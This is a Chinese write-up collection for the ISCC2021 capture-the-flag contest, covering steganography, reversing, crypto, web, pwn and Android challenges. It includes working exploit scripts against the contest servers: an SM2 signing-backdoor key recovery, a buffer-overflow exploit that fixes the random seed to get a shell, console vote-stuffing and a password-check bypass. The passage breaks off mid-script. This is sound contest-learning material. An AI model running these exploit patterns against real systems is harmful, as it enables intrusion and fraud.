ISCC2021-WP合集

ISCC2021-WP合集**

声明:本解题合集并非完全原创,有些解题技巧和思路借鉴和搬运了其他博主或大佬的东西,初衷在于总结做题经验,整理ISCC2021的解题WP,当作笔记学习使用,如有原作者或师傅认为有不妥和错误之处,欢迎评论私信,我会尽快处理。

练武题

MISC

李华的红包

题目:大年初一,李华给爸爸拜年,从事计算机行业的父亲发给李华一张图片和一张银行卡。父亲告诉李华密码就藏在图片中,但是李华打开图片后却百思不得其解。你能帮助李华拿到密码吗?

我想说,有个计算机行业的父亲真好~

50分送分题,绝对不会套来套去,上图片:
在这里插入图片描述
看到图片下有个头露出,果断改图片大小,改完图片如下:
在这里插入图片描述

没弄明白,于是winhex再接着看图片信息,看到有其他类型文件隐藏(别问我怎么看的,因为我根本没看),直接拖到虚拟机里binwalk+foremost分离,出来一个txt文件,内容如下:

24,43,13,13,12,21,43

这一看,数字两位一组,而且不过5,妥妥的棋盘密码,直接解密,得flag:ISCC{ISCCBFS} ,上网一查,棋盘又叫敲击密码,孤陋寡闻了,知道那个🥁是干啥的了。

Retrieve the passcode

Scatter说他能解开这个古怪的密码,你呢?来试试吧!
Flag格式:ISCC{XXX},XXX为小写字符串,不包括空格

解压得到压缩包和txt文档,内容为

1:3:1;1.25:3:1;1.5:3:1;1.75:3:1;2:3:1;2:2.75:1;2:2.5:1;2:2.25:1;2:2:1;2:1.75:1;2:1.5:1;1:2.25:1;1.25:2.25:1;1.5:2.25:1;1.75:2.25:1;1:1.5:1;1.25:1.5:1;1.5:1.5:1;1.75:1.5:1;3:3:1;3.25:3:1;3.5:3:1;3.75:3:1;4:3:1;3.25:2.25:1;3.5:2.25:1;3.75:2.25:1;4:2.25:1;4:2:1;4:1.75:1;4:1.5:1;3:1.5:1;3.25:1.5:1;3.5:1.5:1;3.75:1.5:1;3:1.75:1;3:2:1;3:2.25:1;3:2.5:1;3:2.75:1;5:3:1;5.25:3:1;5.5:3:1;5.75:3:1;6:3:1;6:2.25:1;6:2:1;6:1.75:1;6:1.5:1;5.75:1.5:1;5.5:1.5:1;5.25:1.5:1;5:1.5:1;5:2.25:1;5.25:2.25:1;5.5:2.25:1;5.75:2.25:1;5:2.5:1;5:2.75:1;7:3:1;7.25:3:1;7.5:3:1;7.75:3:1;8:3:1;8:2.75:1;8:2.5:1;8:2.25:1;8:2:1;8:1.75:1;8:1.5:1;9:3:1;9.25:3:1;9.5:3:1;9.75:3:1;10:3:1;10:2.75:1;10:2.5:1;10:2.25:1;9.75:2.25:1;9.5:2.25:1;9.25:2.25:1;9:2.25:1;9:2:1;9:1.75:1;9:1.5:1;9.25:1.5:1;9.5:1.5:1;9.75:1.5:1;10:1.5:1;11:3:1;11.25:3:1;11.5:3:1;11.75:3:1;12:3:1;12:2.75:1;12:2.5:1;12:2.25:1;12:2:1;12:1.75:1;12:1.5:1;11.75:1.5:1;11.5:1.5:1;11.25:1.5:1;11:1.5:1;11:1.75:1;11:2:1;11:2.25:1;11:2.5:1;11:2.75:1;11.25:2.25:1;11.5:2.25:1;11.75:2.25:1

scatter是散点的意思嘛,明显是画散点图,我拿Matlab画的,得到一个图(这张图也找不到了,代码不想贴)

得到图之后,仔细瞅瞅,这里有个坑,需要把图倒一下,得到365728,这明显是压缩包解密密码,解密后得到:

在这里插入图片描述
忽略我的迅雷小图标),下面一串明显是摩斯密码,在线解密得congratulationtheflagischallengeiscctwozerotwoone
那flag就是ISCC{congratulationtheflagischallengeiscctwozerotwoone}
早就知晓iscc的套路,故意分两行迷惑你~
(:补充:
有其他大佬脚本粘贴过来直接得密码图:

import matplotlib.pyplot as plt
import numpy as np
from mpl_toolkits.mplot3d import Axes3D

fig = plt.figure()
ax = fig.gca(projection="3d")


xs, ys ,zs= np.loadtxt('xyz.txt', delimiter=':', unpack=True)
ax.scatter(xs, ys, zs, zdir="z", c="#FF5511", marker="o", s=40)
ax.set(xlabel="X", ylabel="Y", zlabel="Z")

plt.show()

在这里插入图片描述
**

鲨鱼哥的专属网络

源自实战题的一道题(来源于硅谷工程师),不难但没做出来,希望大佬提供思路。

海市蜃楼-1

在这里插入图片描述
下载过后是一个docx文件,打开是一堆乱码:
在这里插入图片描述
但看到了PK,猜测应该是个zip文件,用winhex打开,看到504B0304,果然是个zip压缩文件头,而且包含了很多网页文件
在这里插入图片描述
可以直接改后缀为zip,或者拖到虚拟机里binwalk,出来一个文件夹:
在这里插入图片描述
我是一个一个找的,在word的document.xml中发现了flag:

在这里插入图片描述

海市蜃楼-2

解压压缩包得到一张图片:
在这里插入图片描述
是我的童年没有错了,不管三七二十一先放到虚拟机里binwalk+foremost
得到一个压缩包,拿winhex一看,果然没骗我,这次果然是真的海市蜃楼,是真加蜜,找密码吧。
那必定是回到海市蜃楼-1去找,一开始以为1的flag就是密码,结果发现不是,出题人精明了很多,继续找1中的文件,发现一个true.xml有点问题,是个图片格式:
在这里插入图片描述
那就改后缀,得到一张图片。啊,是钟爷爷,对钟爷爷的图片一番研究,没发现啥东西,突然想到海市蜃楼-1的flag:ISCC{zheshishui}
顿时明白了,密码就是zhongnanshan
解密后,得到二维码,一扫出现Base64编码:

ZWFzeQ==

解密得到easy,应该又是个文件密码,winhex分析二维码,发现是png文件头,而文件后缀是jpg,必定是有问题,那就接着分离(别骂了,我不会别的),出来一个txt,解密得到flag

在这里插入图片描述

这给我套的,不过比起擂台那几个套题,这个真的很人性化了。

我的折扣是多少

解压压缩包得到三个文件如下
在这里插入图片描述
按顺序来,先看give.exe,打开闪退,不过可以看到里面的内容为

pass1{\u006b\u0072\u0077}

明显是Unicode编码,解码后为pass1{krw},
接着看me.zip发现需要输密码,应该是要用到前面的密码,但输入不对,应该是还有坑,拿winhex分析zip压缩包,在末尾发现一串Base64码,在线解密得到pass2{gcc666},将pass1和pass2合起来
krwgcc666,解密压缩包得到txt文件
在这里插入图片描述
打开又得到一串Base64:
在这里插入图片描述

再次解密得到youfoundme?这肯定不是flag,还有一个音频文件没看
利用MP3stego解密,密码就是youfoundme?
工具使用参考链接:MP3Stego
得到ISCC{LFXXK4TENFZWG33VNZ2DELRRGU======}
这次是Base32(没有小写字母),解密得到

ISCC{Yourdiscount2.15}

Base解密库国内推荐BUGKU的自带在线工具:bugku在线工具

美人计

题目描述:美人说的话里有解题提示,但是美人的话不能全信。
解压得美人图一张和二维码一个
用十六进制编辑器打开美人图片:
在这里插入图片描述
这就是美人说的话有真有假,扫二维码得到

U2FsdGVkX1/Ka+sScszwQkwhO+VLiJwV/6IFg5W+TfNHGxG2qZsIr2iwMwb9X9Iu 3GuGWmPOtO27z8vNppD2D50fwsD+8VWhdtW9J4cewYivH/Z/7GoUvcJXJMrvf+vu +CBqWDGp6HWd0e5whGhuzlK0ZtBcDZdPDSIHA7+GuUlifp8PcFCtJPgiuk143REE +pKFiSJXolXLR1vJCdGY9w5mXFbiWPrb2U7r/v5noP8=

AES连续三次解密,然后就掉坑里了:

y0u_h@ve_fal1en_intO_tHe_tr@p_0f_tHe_be@uty_!

果然美人怎么可能轻易让你得到
winhex分析包含二维码的docx文档,发现还有图片隐藏,拖到虚拟机里一顿操作,又出来一张二维码:
在这里插入图片描述
扫码又得到一串:

U2FsdGVkX19eOY/pDh8+vPAcvfkLi1XLUneVzjLLOMul53sKK8UpobdCOiPIv4KE

再次AES发现不对,看来美人又开始用计了,用DES就可了,密钥仍然是ISCC2021。
在这里插入图片描述
出题人应该被伤过,深谙美人套路哈哈~

区块链

智能合约的题目,我当时还以为要编合约交互,是我想多了。
直接去合约网站查询合约地址查看信息:
网站地址(貌似需要魔法操作)
在搜索框输入合约地址0x0ed72dfd4c63dd97df8fec07e5a6bba466c6adf5
然后点击这个地方
在这里插入图片描述
这里点击"UTF-8"
在这里插入图片描述
flag出现:

在这里插入图片描述

Hack the Victim

同样操作,打开上述网站,搜索这个合约地址:

0x68D28fE315E6A344029D42915Fbc7af4261AB833

一串进制数,反编译:
在这里插入图片描述
在这里插入图片描述
题目说编写攻击合约,貌似没有~

检查一下

一张图片,010查看后没发现什么,拿到kali中binwalk分离一下,得到一堆1,0组成的文件,长度为841,很容易联想到29*29是个二维码

二进制转二维码1对应黑,0对应白

from PIL import Image
MAX = 29
img = Image.new("RGB",(MAX, MAX))
str = "1111111000100100110000111111110000010011011110010101000001101110100111010011010010111011011101000000111011110101110110111010010111101110001011101100000101110111000010010000011111111010101010101010111111100000000011100100110100000000100101101110000101010101000001101000011101011011011100101000001110010010001111011110010001100000101101100111111001010110101101110000100011110100110001001100010010101110000111111111110010100110101001111110010110001100110111110111000110011110010001111001110000100011010000110100100000001011001010101101110100011011010011100011101001111011111000101001101101101100101010001111101000000000011101101101010001011011111110000011110000101011010100000101011110010101000101101011101001010011001011111001010111010110101111000001101001101110100101010000010100111011000001000011101000011001001011111110100100100000111100110"
i=0
for y in range (0,MAX):
    for x in range (0,MAX):
        if(str[i] == '1'):
            img.putpixel([x,y],(0, 0, 0))
        else:
            img.putpixel([x,y],(255,255,255))
        i = i+1
img.show()
img.save("flag.png")

在这里插入图片描述
扫码得到flag:

ISCC{Png_Chunk_streams_ISCC}

小明的宠物兔

下载附件发现是一个名为rabbit的图片,一个胖兔子说着我需要碰撞

用binwalk分离图片得到flag.txt和key.zip

flag.txt中内容为

U2FsdGVkX18kNy7RlBvcV9WJsqa+oxvdd0Ir86U2cU2996N6ltZi7VVOaw==

显然需要密钥解密

打开key.zip发现其中的key.txt只有5字节大小结合那个兔子说的它需要碰撞应该是crc32碰撞
利用解密脚本得到密码:

import binascii
import string

def crack_crc():
    print('-------------Start Crack CRC-------------')
    crc_list = [0x3dacac6b]#文件的CRC32值列表,注意顺序
    comment = ''
    chars = string.printable
    for crc_value in crc_list:
        for char1 in chars:
            for char2 in chars:
                for char3 in chars:
                    for char4 in chars:
                        for char5 in chars:
                            res_char = char1 + char2 + char3 + char4 + char5#获取遍历的任意4Byte字符
                            char_crc = binascii.crc32(res_char.encode())#获取遍历字符的CRC32值
                            calc_crc = char_crc & 0xffffffff#将遍历的字符的CRC32值与0xffffffff进行与运算
                            if calc_crc == crc_value:#将获取字符的CRC32值与每个文件的CRC32值进行匹配
                                print('[+] {}: {}'.format(hex(crc_value),res_char))
                                comment += res_char
    print('-----------CRC Crack Completed-----------')
    print('Result: {}'.format(comment))

if __name__ == '__main__':
    crack_crc()

得到密钥:(0_0)
在线解密得到:

ISCC{u_really_know_rabbits}

小明的表情包

附件下载下来是个压缩包,并且需要解压密码。

题目中给了提示凯撒密码“AVARGRRA AVARGL AVAR”是其出生年份,且说密码应该为出生日月年。
在线凯撒解密:
在这里插入图片描述
得到出生年份是1999,接下来拿azpr爆破月日
得到密码07071999(我其实是直接爆破的8位,反正早爆晚爆都是爆)
解压后得到一张图片,无法打开,winhex分析,jpg文件缺头补头FFD8FF
在这里插入图片描述
再次打开图片:
在这里插入图片描述

变异的SM2

贴大佬思路:
密码学题目,我不擅长这方面,果断搜下关键处代码,果然搜到了原题

该题目是2020ByteCTF决赛的题目threshold

搜到的一个WP链接

需要改下脚本,把server.py和写的脚本放到同一路径下

from pwn import *
from Crypto.Util.number import *
from gmssl import func, sm2

import server

r = remote("129.211.59.129", 20001)

# context.log_level = 'debug'

pk = int(r.recvline().split(b":")[1].decode(), 16)
pks = int(r.recvline().split(b":")[1].decode(), 16)
log.info(f"pk: {pk}")
log.info(f"pks: {pks}")

backdoor = b'0'*128 + b'1'
r.sendlineafter(b"op: ", b"sign")
r.sendlineafter(b"backdoor:", backdoor)
sks = int(r.recvline(), 16)

n = 115792089210356248756420345214020892766061623724957744567843809356293439045923

# pks = (sk + 1) * sks ^ -1

sk = inverse(pks * sks, n) - 1
log.info(f"sk: {sk}")

data = b'Hello, Welcome to ISCC2021!'
e = int(data.hex(), 16)

k = 2
tsm2 = server.TSM2('0xdeadbeaf')
P1_P2 = tsm2._kg(k, server.G)
R = int(P1_P2[:64], 16) + e

s = inverse(1+sk, n) * (k - R*sk) % n

r.sendlineafter(b"op: ", b"verify")
r.sendlineafter(b"msg:", data)
r.sendlineafter(b"sign:", hex(R)[2:].zfill(64) + hex(s)[2:].zfill(64))

r.interactive()

flag如下:
在这里插入图片描述

混乱的音频

等待大佬~~

算-错

等待大佬~~

Long Time

等待大佬~~

Web

当时没写wp,这部分就复现其他师傅们的了

ISCC客服冲冲冲(一)

又到了一年一度的ISCC,客服一号为了保住饭碗(被迫)参与了今年的客服海选投票。经过激烈的角逐,客服一号终于凭借着自己多年的客服经验来到决赛的舞台,却发现对手竟是自己???
请帮助真正的客服一号在投票中取胜,保住客服一号的饭碗! 题目入口:http://39.96.91.106:7020

方法一:使用连点器
设置每秒点击100次,得到flag
在这里插入图片描述
方法二:修改按钮ID
F12将两个按钮的id交换
在这里插入图片描述
方法三:
js调用click函数,控制台输入

setInterval(function(){document.getElementById("left_button").click();},1);

方法四:刷票

local_left_votes=999999

在这里插入图片描述

这是啥

这是什么东西呢?
题目入口:http://39.96.91.106:7030

查看源代码发现如图所示代码,jsfuck编码:

在这里插入图片描述
在线编码运行或直接控制台运行:
在这里插入图片描述

Web01

打开便提示Why don’t you take a look at robots.txt?

那就访问robots.txt看看呗,发现Disallow: /src/code/code.txt

所以就访问http://39.96.91.106:7040/code/code.txt

发现几个判断条件,满足条件便会输出flag

if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)

参数长度小于8但数值还要大于9999999,直接用科学计数法如1e9绕过即可

if (strpos ($_GET['password'], '*-*') !== FALSE)

要求参数里要含有*-*

所以最终请求参数为?password=1e9*-*
在这里插入图片描述

REVERSE

我懒了,接着搬师傅们的~

Garden

下载附件后是一个.pyc的文件,很明显这是python的编译文件,拿到在线反编译的网站上进行反编译即可得到源码。

import platform
import sys
import marshal
import types

def check(s):
    f = '2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06'   
    if len(s) != len(f):
        return False
    checksum = None
    for a, b in zip(f, s):
        checksum += ord(b) ^ ord(a) ^ 123
    return checksum == 0

if sys.version_info.major != 2 or sys.version_info.minor != 7:
    sys.exit('\xe8\xaf\x95\xe8\xaf\x95 Python 2.7.')  #试试python 2.7
if len(sys.argv) != 2:
    sys.exit('usage: bronze.pyc <flag>')
flag = sys.argv[1]
if len(flag) >= 32:
    print ('too long.') #太长了
    sys.exit(1)
alphabet = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!@#$%+')
for ch in flag:
    if ch not in alphabet:
        print ('\xe4\xb8\x8d\xe5\xaf\xb9.' ) #不对
        sys.exit(1)
        continue
if check(flag):
    print ('\xe5\xb0\xb1\xe6\x98\xaf\xe8\xbf\x99\xe4\xb8\xaa!') #就是这个
    sys.exit(0)
else:
    print ('\xe6\x90\x9e\xe9\x94\x99\xe4\xba\x86.') #搞错了
    sys.exit(1)

f = '2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06'

flag = ''
for i in f:
    flag += chr(ord(i)^123)
print(flag)

在这里插入图片描述

Analysis

题干提示分析就完事了,事实也的确如此,直接IDA打开就是分析
在这里插入图片描述
通过字符串找到关键点
在这里插入图片描述
进入mix查看

int __cdecl mix(char *a1, char *a2, int a3)
{
  char v3; // ST14_1
  char v4; // dl
  int result; // eax
  int n; // [esp+18h] [ebp-20h]
  int m; // [esp+1Ch] [ebp-1Ch]
  int l; // [esp+20h] [ebp-18h]
  size_t k; // [esp+24h] [ebp-14h]
  int j; // [esp+28h] [ebp-10h]
  int i; // [esp+2Ch] [ebp-Ch]

  for ( i = 0; i < a3; ++i )                    // 先全部减去64,因为‘A’的ASCII码为65,这里可以理解为获取在字母表中位置
    a1[i] -= 64;
  for ( j = 0; j < a3; ++j )                    // 当前值=当前值与下一值得差
    a1[j] -= a1[j + 1];
  for ( k = 0; k < strlen(a2); ++k )            // k < 7
    a2[k] %= 64;                                // 取余
  for ( l = 0; l < a3; ++l )
    a1[l] += a2[l % 7];                         // 将a2作为密匙循环自加
  for ( m = 0; a3 / 2 > m; ++m )
  {                                             // 中间对称互换
    v3 = a1[m];
    a1[m] = a1[a3 - m - 1];
    a1[a3 - m - 1] = v3;
  }
  for ( n = 0; ; ++n )
  {
    result = n;
    if ( n >= a3 )
      break;
    if ( a2[n % 7] & 1 )                        // 利用a2作为判断依据
      v4 = a1[n] + 2;
    else
      v4 = a1[n] + 1;
    a1[n] = v4;
  }
  return result;
}

所以有明文,有算法,还不会逆吗

cpt = [67,-33,20,3,13,44,9,1,23,23,8,-4,43,-6,20,23,-7,37,-11,34,61,-50,24,22,10]
mix = [82,69,86,69,82,83,69]

for k in range(len(mix)):
    mix[k] %= 64
#加密用的密匙都是取余后的,所以先取余操作
for n in range(len(cpt)):
    if mix[n%7] & 1:
        cpt[n] -= 2
    else:
        cpt[n] -= 1
#先逆加一和加二
for m in range(len(cpt)//2):
    x = cpt[m]
    cpt[m] = cpt[len(cpt)-1-m]
    cpt[len(cpt)-1-m] = x
#对称互换
for l in range(len(cpt)):
    cpt[l] -= mix[l%7]
#逆自加,既自减
for j in range(len(cpt)-2,-1,-1):
    cpt[j] += cpt[j+1]
#这一步需要从后往前,因为最后一个字符是不变的
for i in range(len(cpt)):
    cpt[i] += 64
#加回64
print(cpt)
#列表形式输出(ASCII码形式)
for i in range(len(cpt)):
    cpt[i] = chr(cpt[i])
#转为字符
flag = ''.join(cpt)#串成串
print(flag)
#输出

'''
[73, 83, 67, 67, 123, 82, 69, 86, 69, 82, 83, 69, 95, 73, 83, 95, 78, 79, 84, 95, 72, 65, 82, 68, 125]
ISCC{REVERSE_IS_NOT_HARD}
'''

写给萌新:讲一下这里取上面的cpt串和mix串的依据,在IDA里面,字符串的形式有两种,

1.明显的字符串存储形式;
2.单独的字符,但是以连续的地址以及连续的名称存储

Ron’s Code

无壳,直接用IDA打开,就能看到main函数和加密函数
在这里插入图片描述
依次分析加密函数——mix

在这里插入图片描述
突然有事下次再补吧~

PWN

game

我们一起玩个游戏吧
题目入口:http://39.96.88.40:7040

这道题和攻防世界里的两道题很相似,但是绕了两次,利用的是srand和rand函数的配合使用去产生随机数,通过read函数去读取数据,覆盖地址让随机数不再随机,从而进行一一输入匹配拿到shell.
直接贴exploit了:

from pwn import *
from ctypes import *
import time
#context.log_level='debug'
r =remote("39.96.88.40","7040")
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = "a"*0x24+p64(1).decode()
r.recvuntil("Your name is :")
r.sendline(payload)

libc.srand(1)
           
for i in range(10):

    num = libc.rand()
    libc.srand(num)

   
    num1=str(libc.rand()%0x64+1)
    r.sendline(num1)
    
  
r.interactive()

Mobile

OHHH

libnc.so里是主要java层逻辑。

check1在libLibs.so中。

经过hook测试,check1: 6个小写字母

而且必须满足一些条件:

在这里插入代码import hashlib
import string

s = string.ascii_lowercase
d = 0
for i1 in s:
    for i2 in s:
        for i3 in s:
            for i4 in s:
                for i5 in s:
                    for i6 in s:
                        ss = i1+i2+i3+i4+i5+i6
                        a = hashlib.md5()
                        a.update(ss.encode(encoding='utf-8'))
                        aa = a.hexdigest()
                        b = 0
                        c = 0
                        d = 0
                        for i in aa:
                            if i == "0":
                                c += 1
                                d += b
                            b += 1
                        if d + c * 10 == 403:
                            print(d + c*10)
                            print(ss, aa)
# 403
# ozulmt 0ec448d42dbf0000c020c0000048010e

最后根据生成的数字作为索引,打乱md5加密的值。

sss = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
a = [6,10,11,4,5,7,13,7,2,2,3,5,8,3,11,10,10,4,6,13,8,11,2,12,11,1,12,3,12,4,0,6]
for i in a:
    print(sss[i],end="")

flag:

ISCC{6ab457d7223583baa46d8b2cb1c3c406}

LOCKK

小K把他的密码加密起来保存了,但是他却不知道该怎么解密了,来帮小明解密出来他的密码吧!

这道题明显不是我独立能做出来的,下面展示一位大佬的思路:

这是一道 apk 逆向,核心函数位于 SO 库中并且在 JNI_OnLoad 中动态绑定函数。

反调试

JNI_OnLoad 中有 ptrace 反调试,patch 掉即可

签名验证

这道题的密钥由 apk 签名数据决定,因此要获取原始密钥,必须保证 apk 没有更改。但是为了反反调试,必须 patch so 文件。

这里可以采取直接将修改的 so 文件 push 到 apk 安装后的目录中,这样并不会改变 apk 本身的签名。

核心算法是 AES 变种 + CBC 模式

要解密如下字符串:

j9lXGz/eWs4iODrHgTbQZdtXl1RjO82FQhSADajx1vRNnw2NIASP/2mySb2Dqmgh

AES 变种
1.修改了 行移位为 列移位

输入数据
df db 5d b9 
41 9b b8 44 
f6 74 74 74 
74 74 74 95 

shift 本题计算结果:
DF 74 74 44 
41 DB 74 74
F6 9B 5D 95
74 74 B8 B9

shift 标准计算结果:
df db 5d b9 
9b b8 44 41 
74 74 f6 74 
95 74 74 74 

2.修改了列混合的行为

该题列混淆时,先将矩阵转置,再列混淆,最后再转置

3.修改了 子密钥计算过程

具体怎么计算的没有细看,直接复制它计算好的数据即可, 但是要保证是没有被检测到反调试的数据

int subkeys[11][16]  = {
    0x31, 0x62, 0x35, 0x63, 0x32, 0x31, 0x38, 0x61, 0x36, 0x38, 0x35, 0x39, 0x66, 0x63, 0x66, 0x32,
    0x03, 0x99, 0x06, 0x98, 0x31, 0xA8, 0x3E, 0xF9, 0x07, 0x90, 0x0B, 0xC0, 0x61, 0xF3, 0x6D, 0xF2,
    0xEE, 0x94, 0x3A, 0x95, 0xDF, 0x3C, 0x04, 0x6C, 0xD8, 0xAC, 0x0F, 0xAC, 0xB9, 0x5F, 0x62, 0x5E,
    0xBC, 0x5B, 0x90, 0x5A, 0x63, 0x67, 0x94, 0x36, 0xBB, 0xCB, 0x9B, 0x9A, 0x02, 0x94, 0xF9, 0xC4,
    0xC3, 0x79, 0x09, 0x78, 0xA0, 0x1E, 0x9D, 0x4E, 0x1B, 0xD5, 0x06, 0xD4, 0x19, 0x41, 0xFF, 0x10,
    0x07, 0xFA, 0x1F, 0xFB, 0xA7, 0xE4, 0x82, 0xB5, 0xBC, 0x31, 0x84, 0x61, 0xA5, 0x70, 0x7B, 0x71,
    0x21, 0xAB, 0x3E, 0xAA, 0x86, 0x4F, 0xBC, 0x1F, 0x3A, 0x7E, 0x38, 0x7E, 0x9F, 0x0E, 0x43, 0x0F,
    0xBA, 0x00, 0x24, 0x01, 0x3C, 0x4F, 0x98, 0x1E, 0x06, 0x31, 0xA0, 0x60, 0x99, 0x3F, 0xE3, 0x6F,
    0xD4, 0x75, 0x35, 0x74, 0xE8, 0x3A, 0xAD, 0x6A, 0xEE, 0x0B, 0x0D, 0x0A, 0x77, 0x34, 0xEE, 0x65,
    0x3A, 0x6D, 0x1D, 0x6C, 0xD2, 0x57, 0xB0, 0x06, 0x3C, 0x5C, 0xBD, 0x0C, 0x4B, 0x68, 0x53, 0x69,
    0xBF, 0x28, 0xF0, 0x29, 0x6D, 0x7F, 0x40, 0x2F, 0x51, 0x23, 0xFD, 0x23, 0x1A, 0x4B, 0xAE, 0x4A
};

正向加密流程如下(注意用的是 myshift,还有 myTranspose )

myAddRoundKey(pArray, subkeys, 0);
printArray(pArray);
for(int i = 1; i < 10; i++){

    subBytes(pArray);//字节代换

    myshift(pArray);//行移位

    myTranspose(pArray);
    mixColumns(pArray);//列混合
    myTranspose(pArray);

    myAddRoundKey(pArray, subkeys, i);
}
subBytes(pArray);
myshift(pArray);
myAddRoundKey(pArray, subkeys, 10);

完整解密脚本

#include <stdio.h>
#include <string.h>
#include <cctype>

#include <stdlib.h>

/**
 * S盒
 */
static const int S[16][16] = { 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
                               0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
                               0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
                               0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
                               0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
                               0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
                               0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
                               0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
                               0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
                               0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
                               0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
                               0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
                               0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
                               0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
                               0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
                               0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 };

/**
 * 逆S盒
 */
static const int S2[16][16] = { 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
                                0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
                                0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
                                0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
                                0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
                                0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
                                0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
                                0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
                                0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
                                0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
                                0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
                                0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
                                0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
                                0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
                                0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
                                0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d };
static const int S3[] = { 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
